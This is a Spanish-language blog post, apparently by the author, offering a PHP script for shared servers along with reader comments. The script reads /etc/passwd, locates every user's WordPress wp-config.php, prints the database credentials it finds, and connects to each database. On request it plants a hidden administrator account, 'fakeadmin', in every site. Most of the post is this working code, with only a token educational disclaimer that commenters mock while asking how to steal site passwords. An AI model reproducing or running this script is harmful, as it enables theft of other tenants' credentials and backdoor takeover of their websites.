WP-Config Discover: Héchale un vistazo a todos los Wordpress del servidor

matrixwordpressWP-Config Discover es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario www-data sobre el fichero wp-config.php. Como todos saben, wordpress al igual que todos los cms, guardan la configuración de la base de datos (usuario, password, host, prefijo de las tablas, etc) en un fichero, el cual debe ser legible por el usuario que está corriendo el servicio http (generalmente apache/www-data). Código
< ?php
$paths = array(
    "blog",
    "site",
    "html",
    "www",
    "html/blog",
    "www/blog",
    "site/blog",
    "wordpress",
    "wp",
    "www/wp",
    "www/wordpress",
    "html/wordpress",
    "html/wp",
    "public_html",
    "public_html/blog",
    "public_html/wp",
    "public_html/wordpress",
);
$files = array(
    "wp-config.php",
);
print "Checking for ....\n";
if(!is_readable("/etc/passwd"))    die("err0r: can't read /etc/passwd (safe mode?)");
$_f = @file("/etc/passwd");
foreach($_f as $usr){
    $usr = explode(":", $usr);
    $uid = $usr[2];
    $home = $usr[5];
    $usr = $usr[0];
    if($uid >= 1000){
        print $usr." (uid:".$uid."): ".$home."\n";
        foreach($paths as $path){
            if(file_exists($home."/".$path)) {
            print "\tSearching in ".$home."/".$path."\n";
                foreach($files as $file){
                    if(file_exists($home."/".$path."/".$file)){
                         print "\t\tFound: ".$file."\n";
                        $__f = @file($home."/".$path."/".$file);
                        foreach($__f as $line){
                            if(stristr($line, "DB_USER")) { preg_match_all('/define\(\'(.*)\);/', $line, $output); print "\t\t\t".str_replace("DB_USER', ","usr=>", $output[1][0])."\n"; }
                            if(stristr($line, "DB_PASSWORD")) { preg_match_all('/define\(\'(.*)\);/', $line, $output2); print "\t\t\t".str_replace("DB_PASSWORD', ", "pwd=>", $output2[1][0])."\n"; }
                            if(stristr($line, "DB_NAME")) { preg_match_all('/define\(\'(.*)\);/', $line, $output3); print "\t\t\t".str_replace("DB_NAME', ", "db=>", $output3[1][0])."\n"; }
                            if(stristr($line, "DB_HOST")) { preg_match_all('/define\(\'(.*)\);/', $line, $output4); print "\t\t\t".str_replace("DB_HOST', ", "host=>", $output4[1][0])."\n"; }
                            if(stristr($line, "\$table_prefix")) { preg_match_all('/\$table_prefix(.*);/', $line, $output5); print "\t\t\tprefix".$output5[1][0]."\n"; }
                            flush();
                        }
                        print "\t\t\tURL: ".getURL($output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
                        if($_GET['attack'] == "create_user") print "\t\t\tUser/pass created: ".UserAdmin("create", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
                        if($_GET['attack'] == "delete_user") print "\t\t\tfakeadmin deleted: ".UserAdmin("delete", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
                        flush();
                    }
                }
            }
            flush();
        }
        flush();
    }
}
function getURL($user, $pass, $db, $host, $prefix){
    preg_match_all('/, \'(.*)\'/', $user, $user); $user = $user[1][0];
    preg_match_all('/, \'(.*)\'/', $pass, $pass); $pass = $pass[1][0];
    preg_match_all('/, \'(.*)\'/', $db, $db); $db = $db[1][0];
    preg_match_all('/, \'(.*)\'/', $host, $host); $host = $host[1][0];
    preg_match_all('/\'(.*)\'/', $prefix, $prefix); $prefix = $prefix[1][0];
    $sql = @mysql_connect($host, $user, $pass);
    @mysql_select_db($db);
    $_q = @mysql_query("SELECT option_value FROM ".$prefix."options WHERE option_name='siteurl'", $sql);
    @mysql_close($sql);
    return @mysql_result($_q, 0, 'option_value');
}

function UserAdmin($action, $user, $pass, $db, $host, $prefix){
        preg_match_all('/, \'(.*)\'/', $user, $user); $user = $user[1][0];
        preg_match_all('/, \'(.*)\'/', $pass, $pass); $pass = $pass[1][0];
        preg_match_all('/, \'(.*)\'/', $db, $db); $db = $db[1][0];
        preg_match_all('/, \'(.*)\'/', $host, $host); $host = $host[1][0];
        preg_match_all('/\'(.*)\'/', $prefix, $prefix); $prefix = $prefix[1][0];
        $sql = @mysql_connect($host, $user, $pass);
        @mysql_select_db($db);
    if($action == "create"){
        $wp_uid = rand(9990,99999);
        @mysql_query("INSERT INTO ".$prefix."users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(".$wp_uid.", 'fakeadmin', md5('dummie'), 'wordpress', 'dummie@wordpress.cl', 'https://', NOW(), '', 0, 'wordpressdummieadmin')", $sql);
        @mysql_query("INSERT INTO ".$prefix."usermeta (user_id, meta_key, meta_value) VALUES (".$wp_uid.", 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}' )", $sql);
    }
    if($action == "delete"){
        mysql_query("DELETE FROM ".$prefix."usermeta WHERE user_id=(SELECT id FROM ".$prefix."users WHERE user_login='fakeadmin')", $sql);
        mysql_query("DELETE FROM ".$prefix."users WHERE user_login='fakeadmin'", $sql);
    }
    @mysql_close($sql);
    return "fakeadmin/dummie";
}
?>
Este script tiene dos funciones embedidas, las cuales se deben llamar pasando pasando las variables attack=create_user o attack=delete_user. La primera crea un usuario admin (falso) en todos los wordpress y con la segunda, se eliminan estos usuarios creados. Conceptualmente es un script muy sencillo pero en un servidor sin protecciones podría ser mortal. El código está disponible tambien en https://codes.zerial.org/php/wp-config_discover.phps nota: queda de más decir que es para uso educativo y es una herramienta de auditoría :)

Comentarios (5)

Panic
Notable Zerial, buenas ideas y buen trabajo.
Noz
ja! educativo!
paulino perez
como pongo a ejecutal el script?
Zerial
paulino perez: Desde consola, usando el php-cli (command line interface)

saludos
MAnuel
si instalo un servidor local en mi pc ¿puedo hacer correr este script y encontrar la pass de un sitio hecho en wordpress?

Deja un comentario